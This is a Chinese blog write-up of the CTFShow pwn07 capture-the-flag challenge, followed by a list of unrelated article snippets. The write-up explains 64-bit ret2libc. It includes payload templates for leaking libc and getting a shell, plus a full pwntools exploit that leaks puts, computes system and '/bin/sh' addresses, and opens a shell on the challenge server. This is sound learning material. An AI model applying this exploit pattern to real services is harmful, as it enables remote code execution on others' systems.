CTFShow pwn07 (ret2libc-64bit

news2024/9/20 23:49:37

用ROPgabdet
找到pop rdi地址和ret地址:
在这里插入图片描述


来自ctfshow pwn7:
64位程序是需要栈平衡的,而且前六个寄存器用完了才会用栈传参
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数…
system函数和puts函数都只有一个参数
ret是用来栈平衡的

来自ctfshow-pwn新手系列:

判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

注意要连上远端后测puts的地址,本地运行可能不一样的(我是笨蛋吗被这个困这么久
而且本地运行可能会出现
在这里插入图片描述据说可能和ASLR有关(没搞懂

还有接受puts地址那里
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
u64是64地址转整型,ljust(8, b'\x00')是左对齐用\x00填充至八位(但我还是不懂为什么这么写啊
下图中我把p.recvlinep.recv(6)p.recv(6).ljust(8, b'\x00')u64(p.recv(6).ljust(8, b'\x00')hex(u64(p.recv(6).ljust(8, b'\x00'))都输了一遍
在这里插入图片描述

自己写的exp(都没多大差别:


from pwn import *

context(arch = 'amd64', log_level = "debug")
#p = process("./pwn")
p = remote("pwn.challenge.ctf.show", 28104)
#gdb.attach(p)
elf = ELF("./pwn")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x00000000004006e3
ret_addr = 0x00000000004004c6
main_addr = elf.symbols["main"]
payload1 = b'a'*(0xc + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
print(p.recvline())  #p.recvuntil('\x0a')
puts_addr = p.recv(6)
print(puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(puts_addr)
puts_addr = u64(puts_addr)
#puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(puts_addr)
print(hex(puts_addr))
#libc = LibcSearcher("puts", puts_addr)	#我LibcSearcher还是用不了——
#libcbase = puts_addr - libc.dump("puts")
#system_addr = libcbase + libc.dump("system")
#bin_sh = libcbase + libc.dump("str_bin_sh")
libcbase = puts_addr - 0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload2 = b'a' * (0xc + 8) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
p.sendline(payload2)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/58300.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

rust编程-rust所有权理解(chapter 4.1)

目录 1. 什么是所有权 1.1 堆与栈 1.2 变量作用域 1.3 String类型 1.4 内存和分配 1.5 变量和数据交互的方式 1.5 所有权和函数 1.6 返回值和作用域 所有权 是Rust独有的特性,该设计开创了编程语言中的先河。所有权使得Rust能保证内存的安全,且不…

游程编码(Run Length Coding)

游程编码游程编码基本介绍示例1示例2游程编码适用的场景游程编码 游程编码(Run Length Coding,简称RLC)又称游程编码、行程长度编码、变动长度编码 等,是一种统计编码。主要技术是检测重复的比特或字符序列,并用它们的…

亚马逊云科技re:Invent 2022 Ruba Borno主题演讲

2022亚马逊云科技re:Invent全球大会精彩内容应接不暇,亚马逊云科技全球渠道与联盟副总裁Ruba Borno在2022亚马逊云科技re:Invent大会的全球合作伙伴峰会上,为合作伙伴带来一系列全新的合作伙伴创新服务。 云上发展持续加速的当下,上云好比一场…

使用Fiddler对手机App抓包

目录 一、查看 Fiddler 的 ip 地址 二、设置 Fiddler 允许远程连接 三、进行手机端 App 的抓包 3.1.准备工作 3.2.手机设置 3.3.安装根证书 四、可能会遇到的问题 一、查看 Fiddler 的 ip 地址 有两种方法都可以查询到。 第一种方法: 打开 Fiddler&#xff…

[附源码]计算机毕业设计springboot在线招聘网站

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

一分钟带你了解音视频开发进阶(先收藏了)

FFmpeg/WebRTC/RTMP/NDK/Android音视频流媒体高级开发学习路线 随着基础设施的完善(光纤入户、wifi覆盖、5G普及)的影响,将短视频、直播、视频会议、在线教育、在线医疗瞬间推到了顶峰,人们对音视频的需求和要求也越来越强烈 音视…

实现java项目idea打包发布至服务器(完整版)

问题:如何快速部署本地代码到服务器? 今天介绍的是使用idea的一款插件(Alibaba Cloud Toolkit)实现,首先需要在自己的服务器上安装运行环境,包括:jdk、maven、mysql等,这些操作就不详细说了,可…

Inductive Representation Learning on Large Graphs 论文/GraphSAGE学习笔记

1 动机 1.1 过去的方法 现存的方法大多是transductive的,也就是说,在训练图的时候需要将整个图都作为输入,为图上全部节点生成嵌入,每个节点在训练的过程中都是可知的。举个例子,上一次我学习了GCN模型,它…

考研数据结构大题整合_组三(LZH组)

考研数据结构大题整合 目录考研数据结构大题整合三、LZH组LZH 组一LZH 组二LZH 组三LZH 组四LZH 组五LZH 组七三、LZH组 LZH 组一 给出如图所示的无向图G的邻接矩阵和邻接表两种存储结构. (2)解答下面的问题(6分) (…

二、进程管理(五)死锁

目录 5.1死锁的定义和产生条件 5.2死锁的处理策略 5.2.1死锁预防 5.2.2死锁避免 5.2.3死锁检测和解除 5.1死锁的定义和产生条件 在并发环境下,各进程因竞争资源而造成的一种互相等待对方手里的资源,导致各进程都阻塞,都无法向前推进的现…

【GlobalMapper精品教程】034:创建漫游动画并制作漫游视频的方法

本实例讲解在globalmapper中根据路径创建漫游动画,并制作漫游视频的方法。 文章目录 一、绘制漫游路径二、创建3D虚拟漫游三、播放虚拟漫游四、保存虚拟漫游实验数据可以是点云数据、DEM、三维模型等,本文加载数字表面模型DSM进行演示。 一、绘制漫游路径 同创建矢量线状数据…

海带软件分享——日常办公学习软件分享(收藏)

>>>深度学习Tricks&#xff0c;第一时间送达<<< &#x1f680; 写在前面 &#x1f431;‍&#x1f3cd; 本期开始&#xff0c;小海带会定期推荐一些日常办公学习软件及趣味网址&#xff0c;供大家交流参考 ~ 小伙伴们记得一键三连喔&#xff01;&#x1f6…

几款好用到爆炸的在线画图工具

前言 实际工作中&#xff0c;我们经常会编写文档以及制作图表。尤其是对一名优秀的攻城狮来说&#xff0c;经常会用各种各样的软件来制作流程、思维导图、思维笔记等。一个良好的思维导图能系统概括项目工程的整体结构和开发的系统框架。要想制作一个完美的流程图、思维导图离不…

菜狗杯Misc一层一层一层地剥开我的♥wp

目录一、原题二、解题步骤对jpg图片的处理对文件名是一个心形的数据文件的处理base100解码这题完全是看着官方wp复现的&#xff0c;感觉涉及的步骤比较多但每一步本身不难&#xff0c;多记录一遍加深印象。 一、原题 原题给的是一个叫myheart.zip的文件&#xff0c;但尝试解压…

高通开发系列 - ALSA声卡驱动中音频通路kcontrol控件

By: fulinux E-mail: fulinux@sina.com Blog: https://blog.csdn.net/fulinus 喜欢的盆友欢迎点赞和订阅! 你的喜欢就是我写作的动力! 目录 高通开发系列 - ALSA声卡驱动中音频通路kcontrol控件问题背景高通音频通路如何建立widget和routemixer类控件名组合mixer类控件名拼接…

CRM客户关系管理系统(含源码+论文+答辩PPT等)

该项目采用技术&#xff1a;JSP Servlet MySQLjdbccssjs等相关技术&#xff0c;项目含有源码、文档、配套开发软件、软件安装教程、项目发布教程等 项目功能介绍&#xff1a; 系统管理&#xff1a;用户登录退出、个人资料修改 客户管理&#xff1a;客户信息管理、客户来源、联系…

Softmax回归——动手学深度学习笔记

Softmax回归&#xff0c;虽然它的名称叫做回归&#xff0c;其实它是一个分类问题。 回归VS分类 回归估计一个连续值 如&#xff1a;回归估计下个月的房价 分类预测一个离散类别 如&#xff1a; &#xff08;1&#xff09;MNIST&#xff1a;手写数字识别&#xff08;10类&…

初识springmvc

狂神的servlet回顾就不在这里写了。可以翻之前的笔记。 原生开发&#xff1a; 创建webapp的maven项目。 也就是四个文件 &#xff08;不用思考里面的代码&#xff0c;直接CV先走一遍流程&#xff09; HelloController&#xff1a; package com.Li.controller;import org.sp…

SecureCRT之Xmodem操作步骤

以锐捷S3760为例&#xff1a; 故障现象&#xff1a;s3760无法加载&#xff0c;需要重刷RGOS。 一、使用控制线连接s3760&#xff0c;开机加载引导&#xff0c;按Ctrl_B进入“BOOT MENU”页面&#xff1a; 选择【0】进入XModem操作界面&#xff1a; 说明&#xff1a; 0--更新…

android 开发——疑难杂症ANR简单介绍与解析

一、ANR介绍 ANR-application not response&#xff0c;应用无响应&#xff0c;应用开发者一般是关注自己的APP进程有没有出现&#xff0c;系统开发者会关注当前系统运行起来后整体上所有的APP进程有没有出现ANR&#xff0c;从这句话可以知道&#xff0c;只有应用进程的主线程…